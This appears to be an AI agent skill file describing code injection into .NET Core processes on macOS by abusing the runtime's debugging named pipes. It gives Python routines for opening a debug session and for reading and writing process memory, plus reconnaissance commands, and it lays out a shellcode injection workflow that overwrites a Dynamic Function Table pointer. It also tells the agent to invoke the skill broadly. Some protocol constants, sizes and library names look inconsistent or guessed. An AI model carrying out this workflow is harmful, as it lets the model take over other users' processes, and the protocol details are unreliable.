| name | macos-dotnet-injection |
| description | How to inject code into .NET applications on macOS using the debugging protocol. Use this skill whenever the user mentions .NET debugging, macOS injection, named pipes, DFT exploitation, or wants to interact with .NET Core processes on macOS. This skill covers establishing debugging sessions, reading/writing memory, and code execution via the Dynamic Function Table. Make sure to use this skill for any macOS .NET security research, penetration testing, or debugging protocol analysis tasks. |
macOS .NET Application Injection
This skill enables code injection into .NET applications on macOS by exploiting the .NET debugging protocol. The .NET runtime creates named pipes for debugger communication that can be leveraged for memory manipulation and code execution.
Overview
.NET Core processes on macOS create two named pipes in $TMPDIR for debugging:
-in pipe: For receiving debugger commands
-out pipe: For sending responses
By establishing a debugging session through these pipes, you can read/write memory and execute arbitrary code.
Finding .NET Debugging Pipes
Step 1: Locate the pipes
ls -la $TMPDIR | grep -E '\.net|dbg'
find $TMPDIR -type p -name '*-in' -o -name '*-out' 2>/dev/null
Step 2: Identify target process
ps aux | grep -E 'dotnet|mono|pwsh'
ps -eo pid,comm | grep -i dotnet
Establishing a Debugging Session
Message Header Structure
The debugging protocol uses a MessageHeader struct:
struct MessageHeader {
MessageType m_eType;
DWORD m_cbDataBlock;
DWORD m_dwId;
DWORD m_dwReplyId;
DWORD m_dwLastSeenId;
DWORD m_dwReserved;
union {
struct {
DWORD m_dwMajorVersion;
DWORD m_dwMinorVersion;
} VersionInfo;
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
Session Request
To establish a debugging session:
- Set message type to
MT_SessionRequest
- Configure protocol version (major: 2, minor: 0)
- Send header via
write syscall
- Send
SessionRequestData with GUID
- Read response from
out pipe
def establish_debug_session(pipe_path):
import struct
MT_SessionRequest = 0x00000001
MAJOR_VERSION = 2
MINOR_VERSION = 0
header = struct.pack('<IIIIII',
MT_SessionRequest,
16,
1,
0,
0,
0
)
version_data = struct.pack('<II', MAJOR_VERSION, MINOR_VERSION)
header += version_data
header += b'\x00' * 8
session_guid = b'\x09' * 16
with open(pipe_path, 'wb') as f:
f.write(header)
f.write(session_guid)
with open(pipe_path.replace('-in', '-out'), 'rb') as f:
response = f.read(48)
response
Reading Memory
MT_ReadMemory Message
Once a session is established, use MT_ReadMemory to read process memory:
def read_memory(pipe_in, pipe_out, address, length):
import struct
MT_ReadMemory = 0x00000002
header = struct.pack('<IIIIII',
MT_ReadMemory,
12,
2,
0,
1,
0
)
data_block = struct.pack('<QQ', address, length)
with open(pipe_in, 'wb') as f:
f.write(header)
f.write(data_block)
with open(pipe_out, 'rb') as f:
response_header = f.read(48)
memory_data = f.read(length)
return memory_data
Writing Memory
MT_WriteMemory Message
To write to process memory:
def write_memory(pipe_in, pipe_out, address, data):
import struct
MT_WriteMemory = 0x00000003
length = len(data)
header = struct.pack('<IIIIII',
MT_WriteMemory,
12 + length,
3,
0,
2,
0
)
data_block = struct.pack('<QQ', address, length)
with open(pipe_in, 'wb') as f:
f.write(header)
f.write(data_block)
f.write(data)
with open(pipe_out, 'rb') as f:
response = f.read(48)
return True
Code Execution via Dynamic Function Table (DFT)
Finding RWX Memory Regions
vmmap -pages [PID] | grep "rwx"
vmmap -pages 35829 | grep "rwx/rwx"
Locating the DFT
The Dynamic Function Table is used by the .NET runtime for JIT compilation helpers:
- Get
libcorclr.dll base address via MT_GetDCB message
- Search for
_hlpDynamicFuncTable symbol in the library
- Overwrite a function pointer with shellcode address
def get_dcb(pipe_in, pipe_out):
"""Get Debug Control Block - contains libcorclr.dll address"""
import struct
MT_GetDCB = 0x00000004
header = struct.pack('<IIIIII',
MT_GetDCB,
0,
4,
0,
3,
0
)
with open(pipe_in, 'wb') as f:
f.write(header)
with open(pipe_out, 'rb') as f:
response = f.read(48)
dcb_data = f.read(1024)
return dcb_data
Signature Hunting for DFT
otool -tV /usr/lib/dotnet/shared/Microsoft.NETCore.App/*/libcoreclr.dylib | grep -i dynamic
strings /usr/lib/dotnet/shared/Microsoft.NETCore.App/*/libcoreclr.dylib | grep -i "DynamicFunc"
Complete Workflow
1. Reconnaissance
ps aux | grep -E 'dotnet|pwsh'
ls -la $TMPDIR | grep -E '\.net.*-in'
vmmap -pages [PID] | grep "rwx"
2. Establish Session
PIPE_IN="$TMPDIR/dotnet_debug_XXXX-in"
PIPE_OUT="$TMPDIR/dotnet_debug_XXXX-out"
python3 establish_session.py "$PIPE_IN" "$PIPE_OUT"
3. Memory Operations
python3 read_memory.py "$PIPE_IN" "$PIPE_OUT" 0x7fff5fbff000 256
python3 write_memory.py "$PIPE_IN" "$PIPE_OUT" 0x7fff5fbff000 shellcode.bin
4. Code Execution
python3 get_dcb.py "$PIPE_IN" "$PIPE_OUT"
python3 inject_dft.py "$PIPE_IN" "$PIPE_OUT" [SHELLCODE_ADDRESS]
Test Cases
Test 1: Basic Session Establishment
Prompt: "I need to establish a debugging session with a .NET process on macOS. The pipe is at /tmp/dotnet_debug_12345-in"
Expected: Script to establish session with proper MessageHeader
Test 2: Memory Read
Prompt: "Read 256 bytes from address 0x7fff5fbff000 in a .NET process"
Expected: MT_ReadMemory implementation with correct header
Test 3: Code Injection
Prompt: "Inject shellcode into a PowerShell process running .NET Core on macOS"
Expected: Full workflow including DFT location and function pointer overwrite
Security Considerations
- Permissions: Requires access to the target process's temp directory
- Process ownership: Works best on processes owned by the same user
- System Integrity Protection: May block certain operations on modern macOS
- Detection: Named pipe access may be logged by EDR solutions
References
Scripts
See the scripts/ directory for:
find_dotnet_pipes.sh - Locate .NET debugging pipes
establish_session.py - Establish debugging session
read_memory.py - Read process memory
write_memory.py - Write to process memory
get_dcb.py - Get Debug Control Block
inject_dft.py - Inject via Dynamic Function Table